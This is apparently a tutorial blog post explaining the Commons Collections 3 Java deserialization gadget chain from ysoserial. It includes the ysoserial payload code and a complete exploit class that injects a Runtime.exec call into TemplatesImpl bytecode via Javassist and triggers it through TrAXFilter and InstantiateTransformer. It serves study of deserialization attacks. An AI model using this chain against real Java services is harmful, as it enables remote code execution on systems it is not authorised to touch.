CommonsCollection3
The commonsCollection3 and CommonsCollection1 is exactly the same except instead of InvokerTransFormer we use instantiateTransformer and uses of TemplatesImpl and TraXFilter.class Prerequisites: Java AssistIf you do not understand how javaAssist Works please go through https://www.javassist.org/tutorial/tutorial.html before reading further, as it's crucial to understand the payload.
So lets Understand how this instantiateTransformer works. Why we need TemplateImpl class and TraxFilter class. Checkout the bonus article to learn a little bit more into these and how can we modify the existing ysoserial code and use slightly different code to achieve Code Execution.instantiateTransformer
The instantiateTransformer takes a class and instantiates it with the value(data) provided to it. InstantiateTransformer() constructor takes 2 parameters. - Parameter Type(a class array of types) - args(The Object type).
When we call the transform() on the instantiateTransformer, the transform() takes one argument.
Lets say this is input.
Now lets see how the transForm() looks like in InstantiateTransFormer.
@Override
public T transform(final Class extends T> input) {
try {
if (input == null) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
}
final Constructor extends T> con = input.getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (final NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (final InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (final IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (final InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
}
Which can be simplified as below
public T transform(final Class extends T> input) {
final Constructor extends T> con = input.getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
So the argument we pass to the transform() is the input, and as you can see the transForm uses Reflections to find all the Public Constructors that takes an Argument
of iParamTypes i.e the type we pass during the initilisation and then it creates a new object of it using newInstance()
So lets take some example
Lets say we have a class called AnotherClass which looks like below
import java.lang.reflect.Method;
public class AnotherClasss{
public AnotherClasss(testclass b,String input)
{
b.Hello(input);
}
}
Lets Say there is another class called testclass which looks like below
public class testclass
{
public void Hello(String a)
{
System.out.println(a);
}
}
Now we want to call the testClass Hello(), but want to use instntiateTransformer.
we can do that Through AnotherClass and the code will look like below
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.Transformer;
public class instantclass
{
public static void main(String args[])
{
ConstantTransformer tr=new ConstantTransformer(1);
ConstantTransformer tr1=new ConstantTransformer(AnotherClasss.class);
InstantiateTransformer tr2=new InstantiateTransformer(new Class[] { testclass.class,String.class},new Object[]{new testclass(),"ITWORKS"});
tr2.transform(tr1.transform(tr.transform("test")));
}
}
SO how exactly this works.?
As we saw above the transform() takes AnotherClass.class and looks for all the Public Constructors. It Find the AnotherClass(testclass b,String input) And then It initiatlised it. Upon initiatlisation as we know the code inside the constrcutors gets executed which indeed calls the b.Hello(input) i.e testClass.Hello("ITWORKS"). And Hello(String a) method simply prints the Input and hence we see the output as ITWORKS
Lets Understand the payload now
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
On the above code we are Using the InstantiateTransFormer with Templates.class and passing the TemplatesImpl We are obtaining the templatesImpl from Gadgets.createTemplatesImpl(Command) Instead of reviewing the Gadgets.class of ysoserial lets Review the code below, which basically the same but instead of Gadgets.class we are creating owr own class.
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.apache.commons.codec.binary.Base64;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.Transformer;
import org.apache.commons.collections.functors.*;
public class TemplatesImplExploit {
public static void main(String[] args) throws Exception {
String command="notepad.exe";
ClassPool pool = ClassPool.getDefault();
/*
* So inside the pool.get() we can pass any random existing className , we just have to keep in mind that we call
* clazz.makeClassInitializer().insertAfter(cmd); and CtClass superC = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);
Reason for calling the above 2 are.
1.In TemplatesIMPL Class when we set the _byteCode to a bytecode of ourchoice, our bytecode must be extending the
AbstractTranslet.class or else TemplatesIMPL will not execute it.
*/
final CtClass clazz = pool.get(TemplatesImplExploit.class.getName()); // 1
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
CtClass superC = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
byte[] maliciousBytecode =classBytes;
/*
* Till Line 58 we are creating an Object of TemplatesIMPL class and using reflection to set the _bytecode,_name and
* _tfactory , as these are necessary fields.
*
*/
TemplatesImpl templates = new TemplatesImpl(); // 2
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{maliciousBytecode});
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "Exploit");
Field tfacname = TemplatesImpl.class.getDeclaredField("_tfactory");
tfacname.setAccessible(true);
tfacname.set(templates, TransformerFactoryImpl.class.newInstance());
//templates.newTransformer();
/*
* Below we are using the transformer chain.
* The reason why we are taking TemplatesIMPL , is becuase it takes a _bytecode and execute it.
*
*
* Why we use TrAxFilter.class
* If you see the line 65 there is templates.newTransfromer().This is exactly where our _bytecode gets executed.
* So while using the InstantiateTransformer, we have to find a subsequent class (Like Runtime.class in InvokerTransformer)
* that takes a entry of type Templates.class and calls the newTransformer() method
*
* But why so.
*
* If you see how exactly the InstantiateTransformer.transfrom() wroks , you will see the below code.
*
*
* public T transform(final Class extends T> input) {
final Constructor extends T> con = input.getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
*
* So in the above code the transfrom() takes a class as input and calls the getConstructor(), which will return
* all the public constrcutors present in there , however it's also passing an argument in getConstructor of
* iParamTypes which it gets from the initilisation, so on the below code it will be Templates.class
*
* So what it will do, it will look for the constructor that takes an argument of type Templates.class and where will it
* look?
*
* It will look into the TrAXFilter.class for us cause that is what we are passing in.
* If we pass any other class , then it should meet the above criteria so that we can use the InstantiateTransformer.
*
*
* Once we set the Transfromer we are simply calling the chainedTransfromer but in a simple way
*/
ConstantTransformer tr=new ConstantTransformer(1); // 3
ConstantTransformer tr1=new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer tr2=new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templates } );
tr2.transform(tr1.transform(tr.transform("test")));
}
}
On the above code there 3 section. At [1] we are using the JavaAssist to initialised the command and inserting it during the runtime .
So inside the pool.get() we can pass any random existing className , we just have to keep in mind that we call clazz.makeClassInitializer().insertAfter(cmd); and CtClass superC = pool.get(AbstractTranslet.class.getName()); and clazz.setSuperclass(superC);
Reason for calling the above 2 are.
1.In TemplatesIMPL Class when we set the _byteCode to a bytecode of ourchoice, our bytecode must be extending the
AbstractTranslet.class or else TemplatesIMPL will not execute it.
Till Line 58 we are creating an Object of TemplatesIMPL class and using reflection to set the _bytecode,_name and * _tfactory , as these are necessary fields.
The _bytecode is simply the bytecode of our class code that gets created during the runtime via javaAssist. At [3] we are setting of the InstantiateTransFormer to execute the templates which is basically the TemplatesImpl class Object. Now there are couple Questions that need to be answered here.- Why TemplatesImpl Class
- Why TraXFilter Class
- Why are we passing 1 into constant TransFormer
The reason why we are taking TemplatesIMPL , is becuase it takes a _bytecode and execute it.
If you see the line 65 there is templates.newTransfromer().This is exactly where our _bytecode gets executed.
So while using the InstantiateTransformer, we have to find a subsequent class (Like Runtime.class in InvokerTransformer) that takes a entry of type Templates.class and calls the newTransformer() method
If you see how exactly the InstantiateTransformer.transfrom() wroks , you will see the below code.
public T transform(final Class extends T> input) { final Constructor extends T> con = input.getConstructor(iParamTypes); return con.newInstance(iArgs); }So in the above code the transfrom() takes a class as input and calls the getConstructor(), which will return all the public constrcutors present in there , however it's also passing an argument
in getConstructor of iParamTypes which it gets from the initilisation, so on the below code it will be Templates.class
So what it will do, it will look for the constructor that takes an argument of type Templates.class and where will it look?
It will look into the TrAXFilter.class for us cause that is what we are passing in.
If we pass any other class , then it should meet the above criteria so that we can use the InstantiateTransformer.
(Checkout how InstantiateTransformer Works on the post sections )
Once we set the Transfromer we are simply calling the chainedTransfromer but in a simple way just like in the CommonsCollection1.
We dont need, we can remove it and the exploit will still work.
This is how the CommonsCollection3 Works.
We simply use the TemplateImpl class so that we can execute our own _byteCode and then then the instntiateTransformer so that we can instntiate the Templates.Class
Apart from the above changes everything else remains Same
Summary:
CommonsCollections3
is similar to CC1, but usesInstantiateTransformer
instead ofInvokerTransformer
.InstantiateTransformer
takes a class and instantiates it using specified constructor arguments.- We use
TemplatesImpl
to embed malicious bytecode, which is executed whennewTransformer()
is called. TrAXFilter.class
is chosen because it has a public constructor that takes aTemplates
object and internally callsnewTransformer()
.- The transformer chain consists of:
ConstantTransformer(TrAXFilter.class)
- always returns the classInstantiateTransformer
- uses the class and the maliciousTemplatesImpl
object to instantiate a newTrAXFilter
, triggering the exploit
TemplatesImpl
is created using JavaAssist to inject a malicious static initializer (e.g.,Runtime.getRuntime().exec()
).- Execution occurs when the transform chain is triggered (e.g., via
LazyMap.get()
or any gadget that invokes the transformer).
Thats it for Today.
Thanks For Reading.
Happy Hacking.
You can connect with me at: